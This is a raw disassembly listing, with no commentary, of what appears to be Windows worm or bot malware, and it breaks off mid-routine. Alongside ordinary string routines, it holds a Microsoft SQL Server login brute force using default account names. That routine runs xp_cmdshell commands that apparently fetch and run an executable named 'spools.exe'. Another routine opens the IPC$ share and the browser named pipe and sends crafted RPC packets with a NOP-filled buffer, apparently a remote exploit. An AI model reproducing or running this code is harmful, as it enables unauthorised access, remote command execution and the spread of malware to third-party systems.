loc_40D46E:				; CODE XREF: sub_40D41F+1Cj
					; sub_40D41F+2Fj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40D41F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D476	proc near		; CODE XREF: sub_40CF88+17Cp
					; sub_4262EA+46p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		mov	edi, ecx
		cmp	[ebx+8], eax
		jnb	short loc_40D48E
		call	sub_4264BC


loc_40D48E:				; CODE XREF: sub_40D476+11j
		mov	eax, [ebx+8]
		mov	ecx, [ebp+arg_4]
		mov	esi, eax
		sub	esi, ecx
		cmp	[ebp+arg_8], esi
		jnb	short loc_40D4A0
		mov	esi, [ebp+arg_8]


loc_40D4A0:				; CODE XREF: sub_40D476+25j
		cmp	edi, ebx
		jnz	short loc_40D4C2
		push	ds:dword_427698
		add	esi, ecx
		mov	ecx, edi
		push	esi
		call	sub_40D63A
		push	[ebp+arg_4]
		mov	ecx, edi
		push	0
		call	sub_40D63A
		jmp	short loc_40D53B
; ---------------------------------------------------------------------------


loc_40D4C2:				; CODE XREF: sub_40D476+2Cj
		test	esi, esi
		jbe	short loc_40D505
		cmp	esi, eax
		jnz	short loc_40D505
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_40D4D6
		mov	eax, offset dword_4276A8


loc_40D4D6:				; CODE XREF: sub_40D476+59j
		cmp	byte ptr [eax-1], 0FEh
		jnb	short loc_40D505
		push	1
		mov	ecx, edi
		call	sub_40D5C9
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_40D4F1
		mov	eax, offset dword_4276A8


loc_40D4F1:				; CODE XREF: sub_40D476+74j
		mov	[edi+4], eax
		mov	ecx, [ebx+8]
		mov	[edi+8], ecx
		mov	ecx, [ebx+0Ch]
		mov	[edi+0Ch], ecx
		inc	byte ptr [eax-1]
		jmp	short loc_40D53B
; ---------------------------------------------------------------------------


loc_40D505:				; CODE XREF: sub_40D476+4Ej
					; sub_40D476+52j ...
		push	1
		push	esi
		mov	ecx, edi
		call	sub_40D544
		test	al, al
		jz	short loc_40D53B
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_40D51F
		mov	eax, offset dword_4276A8


loc_40D51F:				; CODE XREF: sub_40D476+A2j
		mov	ecx, [ebp+arg_4]
		push	esi
		add	eax, ecx
		push	eax
		push	dword ptr [edi+4]
		call	near ptr sub_41C9B0
		mov	eax, [edi+4]
		add	esp, 0Ch
		mov	[edi+8], esi
		and	byte ptr [eax+esi], 0


loc_40D53B:				; CODE XREF: sub_40D476+4Aj
					; sub_40D476+8Dj ...
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	0Ch
sub_40D476	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D544	proc near		; CODE XREF: sub_40CF88+3Dp
					; sub_40D3C6+28p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		cmp	edi, 0FFFFFFFDh
		jbe	short loc_40D556
		call	sub_426290


loc_40D556:				; CODE XREF: sub_40D544+Bj
		mov	ecx, [esi+4]
		xor	edx, edx
		cmp	ecx, edx
		jz	short loc_40D57F
		mov	al, [ecx-1]
		cmp	al, dl
		jz	short loc_40D57F
		cmp	al, 0FFh
		jz	short loc_40D57F
		cmp	edi, edx
		jnz	short loc_40D5BA
		dec	al
		push	edx
		mov	[ecx-1], al


loc_40D574:				; CODE XREF: sub_40D544+47j
		mov	ecx, esi
		call	sub_40D5C9


loc_40D57B:				; CODE XREF: sub_40D544+4Bj
					; sub_40D544+52j
		xor	al, al
		jmp	short loc_40D5C4
; ---------------------------------------------------------------------------


loc_40D57F:				; CODE XREF: sub_40D544+19j
					; sub_40D544+20j ...
		cmp	edi, edx
		jnz	short loc_40D598
		cmp	[esp+8+arg_4], dl
		jz	short loc_40D58D
		push	1
		jmp	short loc_40D574
; ---------------------------------------------------------------------------


loc_40D58D:				; CODE XREF: sub_40D544+43j
		cmp	ecx, edx
		jz	short loc_40D57B
		mov	[esi+8], edx
		mov	[ecx], dl
		jmp	short loc_40D57B
; ---------------------------------------------------------------------------


loc_40D598:				; CODE XREF: sub_40D544+3Dj
		cmp	[esp+8+arg_4], dl
		jz	short loc_40D5B5
		mov	eax, [esi+0Ch]
		cmp	eax, 1Fh
		ja	short loc_40D5AA
		cmp	eax, edi
		jnb	short loc_40D5C2


loc_40D5AA:				; CODE XREF: sub_40D544+60j
		push	1
		mov	ecx, esi
		call	sub_40D5C9
		jmp	short loc_40D5BA
; ---------------------------------------------------------------------------


loc_40D5B5:				; CODE XREF: sub_40D544+58j
		cmp	[esi+0Ch], edi
		jnb	short loc_40D5C2


loc_40D5BA:				; CODE XREF: sub_40D544+28j
					; sub_40D544+6Fj
		push	edi
		mov	ecx, esi
		call	sub_40D6A1


loc_40D5C2:				; CODE XREF: sub_40D544+64j
					; sub_40D544+74j
		mov	al, 1


loc_40D5C4:				; CODE XREF: sub_40D544+39j
		pop	edi
		pop	esi
		retn	8
sub_40D544	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D5C9	proc near		; CODE XREF: sub_40CF88+1Fp
					; sub_40CF88+16Ap ...

arg_0		= byte ptr  4

		cmp	[esp+arg_0], 0
		push	esi
		mov	esi, ecx
		jz	short loc_40D5F5
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_40D5F5
		lea	ecx, [eax-1]
		mov	al, [eax-1]
		test	al, al
		jz	short loc_40D5EE
		cmp	al, 0FFh
		jz	short loc_40D5EE
		dec	al
		mov	[ecx], al
		jmp	short loc_40D5F5
; ---------------------------------------------------------------------------


loc_40D5EE:				; CODE XREF: sub_40D5C9+19j
					; sub_40D5C9+1Dj
		push	ecx
		call	sub_41D323
		pop	ecx


loc_40D5F5:				; CODE XREF: sub_40D5C9+8j
					; sub_40D5C9+Fj ...
		and	dword ptr [esi+4], 0
		and	dword ptr [esi+8], 0
		and	dword ptr [esi+0Ch], 0
		pop	esi
		retn	4
sub_40D5C9	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D605	proc near		; CODE XREF: seg000:0040D325p
					; sub_40D75E+28p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		push	1
		mov	esi, ecx
		push	edi
		call	sub_40D544
		test	al, al
		jz	short loc_40D633
		push	edi
		push	[esp+0Ch+arg_0]
		push	dword ptr [esi+4]
		call	near ptr sub_41C9B0
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [eax+edi], 0


loc_40D633:				; CODE XREF: sub_40D605+12j
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
sub_40D605	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D63A	proc near		; CODE XREF: sub_40D476+39p
					; sub_40D476+45p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		mov	edi, ecx
		cmp	[edi+8], esi
		jnb	short loc_40D64D
		call	sub_4264BC


loc_40D64D:				; CODE XREF: sub_40D63A+Cj
		mov	ecx, edi
		call	sub_40D75E
		mov	eax, [edi+8]
		mov	ebx, [esp+0Ch+arg_4]
		sub	eax, esi
		cmp	eax, ebx
		jnb	short loc_40D663
		mov	ebx, eax


loc_40D663:				; CODE XREF: sub_40D63A+25j
		test	ebx, ebx
		jbe	short loc_40D699
		mov	ecx, [edi+4]
		sub	eax, ebx
		add	ecx, esi
		push	eax
		lea	eax, [ecx+ebx]
		push	eax
		push	ecx
		call	sub_41D330
		mov	esi, [edi+8]
		add	esp, 0Ch
		sub	esi, ebx
		mov	ecx, edi
		push	0
		push	esi
		call	sub_40D544
		test	al, al
		jz	short loc_40D699
		mov	eax, [edi+4]
		mov	[edi+8], esi
		and	byte ptr [esi+eax], 0


loc_40D699:				; CODE XREF: sub_40D63A+2Bj
					; sub_40D63A+53j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40D63A	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D6A1	proc near		; CODE XREF: sub_40D544+79p
		mov	eax, offset loc_426CB4
		call	sub_41D304
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+8]
		or	edi, 1Fh
		mov	esi, ecx
		cmp	edi, 0FFFFFFFDh
		mov	[ebp-10h], esp
		mov	[ebp-14h], esi
		jbe	short loc_40D6C7
		mov	edi, [ebp+8]


loc_40D6C7:				; CODE XREF: sub_40D6A1+21j
		and	dword ptr [ebp-4], 0
		lea	eax, [edi+2]
		test	eax, eax
		jge	short loc_40D6D4
		xor	eax, eax


loc_40D6D4:				; CODE XREF: sub_40D6A1+2Fj
		push	eax
		call	sub_41D665
		pop	ecx
		mov	[ebp+8], eax
		jmp	short loc_40D705
; ---------------------------------------------------------------------------


loc_40D6E0:				; DATA XREF: seg001:00427FE4o
		mov	eax, [ebp+8]
		mov	[ebp-18h], eax
		add	eax, 2
		test	eax, eax
		jge	short loc_40D6EF
		xor	eax, eax


loc_40D6EF:				; CODE XREF: sub_40D6A1+4Aj
		push	eax
		call	sub_41D665
		mov	[ebp+8], eax
		pop	ecx
		mov	eax, offset loc_40D6FF
		retn
; ---------------------------------------------------------------------------


loc_40D6FF:				; DATA XREF: sub_40D6A1+58o
		mov	esi, [ebp-14h]
		mov	edi, [ebp-18h]


loc_40D705:				; CODE XREF: sub_40D6A1+3Dj
		mov	eax, [esi+8]
		test	eax, eax
		jbe	short loc_40D723
		cmp	eax, edi
		jbe	short loc_40D712
		mov	eax, edi


loc_40D712:				; CODE XREF: sub_40D6A1+6Dj
		push	eax
		mov	eax, [ebp+8]
		push	dword ptr [esi+4]
		inc	eax
		push	eax
		call	near ptr sub_41C9B0
		add	esp, 0Ch


loc_40D723:				; CODE XREF: sub_40D6A1+69j
		mov	ebx, [esi+8]
		push	1
		mov	ecx, esi
		call	sub_40D5C9
		mov	eax, [ebp+8]
		inc	eax
		mov	[esi+4], eax
		and	byte ptr [eax-1], 0
		cmp	ebx, edi
		mov	[esi+0Ch], edi
		ja	short loc_40D743
		mov	edi, ebx


loc_40D743:				; CODE XREF: sub_40D6A1+9Ej
		mov	eax, [esi+4]
		mov	ecx, [ebp-0Ch]
		mov	[esi+8], edi
		and	byte ptr [eax+edi], 0
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		leave
		retn	4
sub_40D6A1	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D75E	proc near		; CODE XREF: sub_40D63A+15p
		push	esi
		push	edi
		mov	edi, ecx
		mov	esi, [edi+4]
		test	esi, esi
		jz	short loc_40D78B
		mov	al, [esi-1]
		test	al, al
		jz	short loc_40D78B
		cmp	al, 0FFh
		jz	short loc_40D78B
		push	1
		call	sub_40D5C9
		push	esi
		call	sub_41B890
		pop	ecx
		push	eax
		push	esi
		mov	ecx, edi
		call	sub_40D605


loc_40D78B:				; CODE XREF: sub_40D75E+9j
					; sub_40D75E+10j ...
		pop	edi
		pop	esi
		retn
sub_40D75E	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D78E	proc near		; DATA XREF: seg002:0042900Co
		test	ds:byte_4E180C,	1
		jnz	short loc_40D79E
		or	ds:byte_4E180C,	1


loc_40D79E:				; CODE XREF: sub_40D78E+7j
		jmp	$+5
		push	offset nullsub_1
		call	sub_41D6E0
		pop	ecx
		retn
sub_40D78E	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	ebx, 8Bh
		sub	esp, 0BCh
		lea	esi, [ebp+8]
		mov	[ebp+0A8h], ebx
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40E13E
		push	2Fh
		lea	esi, [ebp+8]
		pop	ecx
		mov	[ebp+0A8h], ebx
		mov	edi, esp
		mov	[ebp-4], eax
		rep movsd
		call	sub_40E62B
		push	2Fh
		lea	esi, [ebp+8]
		pop	ecx
		mov	[ebp+0A8h], ebx
		mov	edi, esp
		mov	[ebp-8], eax
		rep movsd
		call	sub_40EA50
		add	esp, 0BCh
		cmp	dword ptr [ebp-4], 0
		jnz	short loc_40D81D
		cmp	dword ptr [ebp-8], 0
		jnz	short loc_40D81D
		test	eax, eax
		jz	short loc_40D820


loc_40D81D:				; CODE XREF: seg000:0040D811j
					; seg000:0040D817j
		push	1
		pop	eax


loc_40D820:				; CODE XREF: seg000:0040D81Bj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 0E34h
		mov	al, ds:byte_443398
		push	ebx
		mov	[ebp-1], al
		lea	eax, [ebp-10h]
		push	esi
		xor	ebx, ebx
		push	eax
		mov	esi, offset aSa	; "sa"
		push	ebx
		push	1
		mov	[ebp-34h], esi
		mov	dword ptr [ebp-30h], offset aRoot ; "root"
		mov	dword ptr [ebp-2Ch], offset aAdmin ; "admin"
		mov	[ebp-28h], ebx
		mov	[ebp-1Ch], ebx
		mov	[ebp-0Ch], ebx
		mov	[ebp-8], ebx
		call	ds:dword_4D116C
		test	ax, ax
		jnz	short loc_40D885
		push	0FFFFFFFAh
		push	3
		push	0C8h
		push	dword ptr [ebp-10h]
		call	ds:dword_4D1278
		test	ax, ax
		jz	short loc_40D88C


loc_40D885:				; CODE XREF: seg000:0040D86Cj
		xor	eax, eax
		jmp	loc_40DACD
; ---------------------------------------------------------------------------


loc_40D88C:				; CODE XREF: seg000:0040D883j
		lea	eax, [ebp-0Ch]
		push	eax
		push	dword ptr [ebp-10h]
		push	2
		call	ds:dword_4D116C
		test	ax, ax
		jnz	loc_40DAC0
		test	esi, esi
		push	edi
		mov	[ebp-18h], ebx
		jz	loc_40DAB1
		mov	edi, ds:dword_427064
		lea	ecx, [ebp-34h]
		mov	[ebp-20h], ecx


loc_40D8BC:				; CODE XREF: seg000:0040DA19j
		cmp	ds:off_429248, ebx
		mov	[ebp-14h], ebx
		jz	loc_40DA05
		mov	ebx, [ecx]
		mov	eax, offset off_429248
		mov	esi, eax


loc_40D8D4:				; CODE XREF: seg000:0040D948j
		lea	ecx, [ebp-1]
		push	ecx
		push	dword ptr [eax]
		lea	eax, [ebp+0Ch]
		push	ebx
		push	dword ptr [ebp+0A8h]
		push	eax
		lea	eax, [ebp-0A34h]
		push	offset aDriverSqlServe ; "DRIVER={SQL Server};SERVER=%s,%d;UID=%s"...
		push	eax
		call	sub_41BF36
		add	esp, 1Ch
		lea	eax, [ebp-22h]
		push	0
		push	eax
		lea	eax, [ebp-0E34h]
		push	400h
		push	eax
		lea	eax, [ebp-0A34h]
		push	eax
		call	sub_41B890
		pop	ecx
		push	eax
		lea	eax, [ebp-0A34h]
		push	eax
		push	0
		push	dword ptr [ebp-0Ch]
		call	ds:dword_4D122C
		test	ax, ax
		jz	short loc_40D94F
		cmp	ax, 1
		jz	short loc_40D94F
		push	1F4h
		call	edi ; dword_427064
		inc	dword ptr [ebp-14h]
		add	esi, 4
		mov	eax, esi
		cmp	dword ptr [esi], 0
		jnz	short loc_40D8D4
		jmp	loc_40DA03
; ---------------------------------------------------------------------------


loc_40D94F:				; CODE XREF: seg000:0040D92Ej
					; seg000:0040D934j
		lea	eax, [ebp-8]
		push	eax
		push	dword ptr [ebp-0Ch]
		push	3
		call	ds:dword_4D116C
		mov	esi, offset aSpools_exe	; "spools.exe"
		push	esi
		push	esi
		call	sub_41BF92
		push	eax
		call	sub_41BF92
		push	eax
		push	ds:dword_4D0F20
		push	dword ptr [ebp+8]
		call	sub_40AB6A
		pop	ecx
		push	eax
		lea	eax, [ebp-634h]
		push	offset aExecMaster__xp ; "EXEC master..xp_cmdshell 'del eq&echo o"...
		push	eax
		call	sub_41BF36
		add	esp, 20h
		lea	eax, [ebp-634h]
		push	0FFFFFFFDh
		push	eax
		push	dword ptr [ebp-8]
		call	ds:dword_4D11B4
		test	ax, ax
		jz	short loc_40D9F8
		mov	ebx, 1388h
		push	ebx
		call	edi ; dword_427064
		push	esi
		lea	eax, [ebp-634h]
		push	offset aExecMaster___0 ; "EXEC master..xp_cmdshell '%s'"
		push	eax
		call	sub_41BF36
		lea	eax, [ebp+0Ch]
		push	eax
		lea	eax, [ebp-234h]
		push	offset unk_438DF4
		push	eax
		call	sub_41BF36
		add	esp, 18h
		lea	eax, [ebp-634h]
		push	0FFFFFFFDh
		push	eax
		push	dword ptr [ebp-8]
		call	ds:dword_4D11B4
		test	ax, ax
		jz	short loc_40DA1E
		push	ebx
		call	edi ; dword_427064


loc_40D9F8:				; CODE XREF: seg000:0040D9AAj
		push	dword ptr [ebp-8]
		push	3
		call	ds:dword_4D120C


loc_40DA03:				; CODE XREF: seg000:0040D94Aj
		xor	ebx, ebx


loc_40DA05:				; CODE XREF: seg000:0040D8C5j
		mov	ecx, [ebp-20h]
		inc	dword ptr [ebp-18h]
		add	ecx, 4
		mov	[ebp-20h], ecx
		cmp	[ecx], ebx
		jz	loc_40DAB1
		jmp	loc_40D8BC
; ---------------------------------------------------------------------------


loc_40DA1E:				; CODE XREF: seg000:0040D9F3j
		mov	eax, [ebp-14h]
		mov	dword ptr [ebp-1Ch], 1
		push	ds:off_429248[eax*4]
		mov	eax, [ebp-18h]
		push	dword ptr [ebp+eax*4-34h]
		lea	eax, [ebp+0Ch]
		push	dword ptr [ebp+0A8h]
		push	eax
		mov	eax, [ebp+0B0h]
		shl	eax, 6
		add	eax, offset aSymantec ;	"Symantec"
		push	eax
		push	offset unk_438DB0
		lea	eax, [ebp-234h]
		push	200h
		push	eax
		call	sub_41C030
		add	esp, 20h
		cmp	dword ptr [ebp+0BCh], 0
		jnz	short loc_40DA8F
		push	0
		lea	eax, [ebp-234h]
		push	dword ptr [ebp+0B8h]
		push	eax
		lea	eax, [ebp+1Ch]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_4099D2
		add	esp, 14h


loc_40DA8F:				; CODE XREF: seg000:0040DA6Fj
		lea	eax, [ebp-234h]
		push	eax
		call	sub_4157A6
		mov	eax, [ebp+0B0h]
		pop	ecx
		shl	eax, 6
		inc	ds:dword_438050[eax]
		lea	eax, dword_438050[eax]


loc_40DAB1:				; CODE XREF: seg000:0040D8AAj
					; seg000:0040DA13j
		push	dword ptr [ebp-0Ch]
		push	2
		call	ds:dword_4D120C
		mov	ebx, [ebp-1Ch]
		pop	edi


loc_40DAC0:				; CODE XREF: seg000:0040D89Ej
		push	dword ptr [ebp-10h]
		push	1
		call	ds:dword_4D120C
		mov	eax, ebx


loc_40DACD:				; CODE XREF: seg000:0040D887j
		pop	esi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40DAD1	proc near		; DATA XREF: seg002:00429010o
		jmp	$+5
sub_40DAD1	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40DAD6	proc near
		mov	eax, ds:dword_4390A8
		add	eax, 6
		mov	ds:dword_4D3F14, eax
		retn
sub_40DAD6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DAE4	proc near		; CODE XREF: sub_40DAE4+D0p
					; seg000:0040E065p

var_74BF8B40	= dword	ptr -74BF8B40h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_7		= byte ptr  0Fh
arg_C		= word ptr  14h
arg_14		= dword	ptr  1Ch
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= byte ptr  30h
arg_2B		= byte ptr  33h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	[ebp+arg_28], 0
		push	ebx
		push	esi
		push	edi
		jz	short loc_40DAF8
		or	[ebp+arg_7], 1
		jmp	short loc_40DAFC
; ---------------------------------------------------------------------------


loc_40DAF8:				; CODE XREF: sub_40DAE4+Cj
		and	[ebp+arg_7], 0FEh


loc_40DAFC:				; CODE XREF: sub_40DAE4+12j
		mov	ecx, [ebp+arg_24]
		mov	ebx, [ebp+arg_20]
		movzx	eax, cx
		lea	edx, [ebx+18h]
		cmp	edx, eax
		ja	short loc_40DB20
		or	[ebp+arg_7], 2
		and	[ebp+arg_2B], 0
		lea	eax, [ebx+18h]
		mov	[ebp+arg_14], ebx
		mov	[ebp+arg_C], ax
		jmp	short loc_40DB32
; ---------------------------------------------------------------------------


loc_40DB20:				; CODE XREF: sub_40DAE4+26j
		add	eax, 0FFFFFFE8h
		and	[ebp+arg_7], 0FDh
		mov	[ebp+arg_C], cx
		mov	[ebp+arg_14], eax
		mov	[ebp+arg_2B], 1


loc_40DB32:				; CODE XREF: sub_40DAE4+3Aj
		movzx	eax, [ebp+arg_C]
		push	eax
		mov	[ebp+var_4], eax
		call	sub_41BBCB
		test	eax, eax
		pop	ecx
		mov	[ebp+arg_20], eax
		jz	loc_40DBCB
		push	6
		lea	esi, [ebp+arg_4]
		pop	ecx
		mov	edi, eax
		rep movsd
		mov	edi, [ebp+arg_14]
		mov	esi, [ebp+arg_1C]
		push	edi
		add	eax, 18h
		push	esi
		push	eax
		call	near ptr sub_41C9B0
		add	esp, 0Ch
		lea	eax, [ebp+var_8]
		push	0
		push	eax
		push	[ebp+var_4]
		push	[ebp+arg_20]
		push	[ebp+arg_0]
		call	near ptr 0B00000h
		add	[ebp+var_74BF8B40], 45h
		cld
		cmp	[ebp+var_8], eax
		jnz	short loc_40DBC2
		push	[ebp+arg_20]
		call	sub_41B961
		cmp	[ebp+arg_2B], 0
		pop	ecx
		jz	short loc_40DBBE
		push	0
		sub	ebx, edi
		push	[ebp+arg_24]
		add	edi, esi
		lea	esi, [ebp+arg_4]
		push	ebx
		push	edi
		sub	esp, 18h
		push	6
		pop	ecx
		mov	edi, esp
		push	[ebp+arg_0]
		rep movsd
		call	sub_40DAE4
		add	esp, 2Ch
		jmp	short loc_40DBCD
; ---------------------------------------------------------------------------


loc_40DBBE:				; CODE XREF: sub_40DAE4+B3j
		mov	al, 1
		jmp	short loc_40DBCD
; ---------------------------------------------------------------------------


loc_40DBC2:				; CODE XREF: sub_40DAE4+A4j
		push	[ebp+arg_20]
		call	sub_41B961
		pop	ecx


loc_40DBCB:				; CODE XREF: sub_40DAE4+61j
		xor	al, al


loc_40DBCD:				; CODE XREF: sub_40DAE4+D8j
					; sub_40DAE4+DCj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40DAE4	endp

; ---------------------------------------------------------------------------


loc_40DBD2:				; CODE XREF: sub_40E13E+15p
					; sub_40E13E+3Dp
		push	ebp
		mov	ebp, esp
		mov	eax, 60E0h
		call	sub_41C1D0
		push	ebx
		push	esi
		push	edi
		lea	eax, [ebp+0Ch]
		push	offset a_	; "."
		push	eax
		call	sub_41D800
		pop	ecx
		xor	ebx, ebx
		test	eax, eax
		pop	ecx
		jz	short loc_40DC48
		lea	eax, [ebp+0Ch]
		mov	esi, 2000h
		push	eax
		push	offset aSIpc	; "\\\\%s\\ipc$"
		lea	eax, [ebp-20E0h]
		push	esi
		push	eax
		call	sub_41C030
		push	20h
		lea	eax, [ebp-0E0h]
		push	ebx
		push	eax
		call	sub_41BC40
		lea	eax, [ebp-20E0h]
		add	esp, 1Ch
		mov	[ebp-0CCh], eax
		mov	eax, offset byte_443398
		push	ebx
		push	eax
		push	eax
		lea	eax, [ebp-0E0h]
		push	eax
		call	ds:dword_4D1298
		jmp	short loc_40DC4D
; ---------------------------------------------------------------------------


loc_40DC48:				; CODE XREF: seg000:0040DBF6j
		mov	esi, 2000h


loc_40DC4D:				; CODE XREF: seg000:0040DC46j
		lea	eax, [ebp+0Ch]
		push	eax
		push	offset aSPipeBrowser ; "\\\\%s\\pipe\\browser"
		lea	eax, [ebp-40E0h]
		push	esi
		push	eax
		call	sub_41C030
		add	esp, 10h
		lea	eax, [ebp-40E0h]
		push	ebx
		push	40000000h
		push	3
		push	ebx
		push	3
		push	0C0000000h
		push	eax
		call	ds:dword_4270EC	; CreateFileA
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-8], eax
		jnz	short loc_40DC92


loc_40DC8B:				; CODE XREF: seg000:0040DD6Aj
					; seg000:0040DF4Fj ...
		xor	eax, eax
		jmp	loc_40E139
; ---------------------------------------------------------------------------


loc_40DC92:				; CODE XREF: seg000:0040DC89j
		push	48h
		lea	eax, [ebp-0BCh]
		push	ebx
		push	eax
		call	sub_41BC40
		push	10h
		mov	byte ptr [ebp-0BCh], 5
		pop	eax
		mov	[ebp-0BBh], bl
		push	1
		mov	[ebp-0B8h], eax
		pop	edi
		mov	byte ptr [ebp-0BAh], 0Bh
		push	eax
		lea	eax, [ebp-9Ch]
		push	offset dword_4390FC
		push	eax
		mov	byte ptr [ebp-0B9h], 3
		mov	word ptr [ebp-0B4h], 48h
		mov	[ebp-0B2h], bx
		mov	[ebp-0B0h], ebx
		mov	word ptr [ebp-0ACh], 10B8h
		mov	word ptr [ebp-0AAh], 10B8h
		mov	[ebp-0A8h], ebx
		mov	[ebp-0A4h], edi
		mov	[ebp-0A0h], bx
		mov	byte ptr [ebp-9Eh], 1
		call	near ptr sub_41C9B0
		push	10h
		lea	eax, [ebp-88h]
		push	offset dword_4390E8
		push	eax
		mov	dword ptr [ebp-8Ch], 3
		call	near ptr sub_41C9B0
		add	esp, 24h
		lea	eax, [ebp-0C0h]
		mov	dword ptr [ebp-78h], 2
		push	ebx
		push	eax
		lea	eax, [ebp-0BCh]
		push	48h
		push	eax
		push	dword ptr [ebp-8]
		call	near ptr 0B00000h
		xchg	eax, ebx
		test	eax, eax
		jnz	short loc_40DD6F


loc_40DD61:				; CODE XREF: seg000:0040DE41j
		push	dword ptr [ebp-8]
		call	ds:dword_42706C	; CloseHandle
		jmp	loc_40DC8B
; ---------------------------------------------------------------------------


loc_40DD6F:				; CODE XREF: seg000:0040DD5Fj
		lea	eax, [ebp-18h]
		push	ebx
		push	eax
		lea	eax, [ebp-60E0h]
		push	esi
		push	eax
		push	dword ptr [ebp-8]
		call	ds:dword_4270E8	; ReadFile
		push	ebx
		call	sub_41D721
		push	eax
		call	sub_41BF88
		push	14h
		lea	eax, [ebp-74h]
		push	41h
		push	eax
		call	sub_41BC40
		push	1Ch
		lea	eax, [ebp-34h]
		push	41h
		push	eax
		call	sub_41BC40
		add	esp, 20h
		call	sub_41BF92
		mov	esi, [ebp+0C4h]
		mov	[ebp-74h], eax
		mov	[ebp-68h], edi
		mov	[ebp-6Ch], ebx
		lea	esi, [esi+esi*4]
		mov	[ebp-70h], edi
		shl	esi, 2
		mov	[ebp-64h], bx
		cmp	ds:byte_439090[esi], bl
		jz	short loc_40DDE9
		push	4
		mov	[ebp-28h], edi
		mov	[ebp-2Ch], ebx
		mov	[ebp-30h], edi
		push	offset dword_4D3F1C
		jmp	short loc_40DDFC
; ---------------------------------------------------------------------------


loc_40DDE9:				; CODE XREF: seg000:0040DDD5j
		push	2
		mov	[ebp-2Ch], ebx
		pop	eax
		push	4
		mov	[ebp-28h], eax
		mov	[ebp-30h], eax
		push	(offset	loc_4390DF+1)


loc_40DDFC:				; CODE XREF: seg000:0040DDE7j
		lea	eax, [ebp-24h]
		push	eax
		call	near ptr sub_41C9B0
		add	esp, 0Ch
		call	sub_41BF92
		mov	edi, 0FAh
		cdq
		mov	ecx, edi
		idiv	ecx
		inc	edx
		mov	[ebp-34h], edx
		call	sub_41BF92
		cdq
		idiv	edi
		mov	eax, ds:dword_439084[esi]
		mov	[ebp-1Ch], ebx
		push	eax
		mov	[ebp+0C4h], eax
		inc	edx
		mov	[ebp-20h], edx
		call	sub_41BBCB
		mov	edi, eax
		pop	ecx
		cmp	edi, ebx
		jz	loc_40DD61
		mov	eax, [ebp+0C4h]
		add	eax, 0FFFFFFFEh
		push	eax
		push	90h
		push	edi
		call	sub_41BC40
		mov	eax, [ebp+0C4h]
		push	2
		push	ebx
		lea	eax, [edi+eax-2]
		push	eax
		call	sub_41BC40
		mov	eax, ds:dword_43908C[esi]
		push	7
		add	eax, edi
		push	offset dword_439078
		push	eax
		mov	[ebp-4], eax
		call	near ptr sub_41C9B0
		mov	eax, [ebp-4]
		push	15Ch
		add	eax, 7
		push	offset dword_438F18
		push	eax
		call	near ptr sub_41C9B0
		mov	eax, ds:dword_439088[esi]
		add	esp, 30h
		cmp	ds:byte_439090[esi], bl
		mov	[ebp-4], eax
		jz	short loc_40DEFE
		push	4
		add	eax, edi
		push	offset dword_4D3F14
		push	eax
		call	near ptr sub_41C9B0
		add	dword ptr [ebp-4], 0Ch
		mov	esi, offset dword_4390A8
		mov	eax, [ebp-4]
		push	4
		add	eax, edi
		push	esi
		push	eax
		call	near ptr sub_41C9B0
		mov	eax, [ebp-4]
		push	4
		push	esi
		lea	eax, [eax+edi+24h]
		push	eax
		mov	[ebp-4], eax
		call	near ptr sub_41C9B0
		mov	eax, [ebp-4]
		push	4
		add	eax, 0Ch
		push	esi
		push	eax
		call	near ptr sub_41C9B0
		add	esp, 30h
		jmp	short loc_40DF26
; ---------------------------------------------------------------------------


loc_40DEFE:				; CODE XREF: seg000:0040DEAFj
		add	eax, edi
		mov	dword ptr [ebp-0Ch], 10h
		mov	[ebp-4], eax
		mov	esi, offset dword_4390A8


loc_40DF0F:				; CODE XREF: seg000:0040DF24j
		push	4
		push	esi
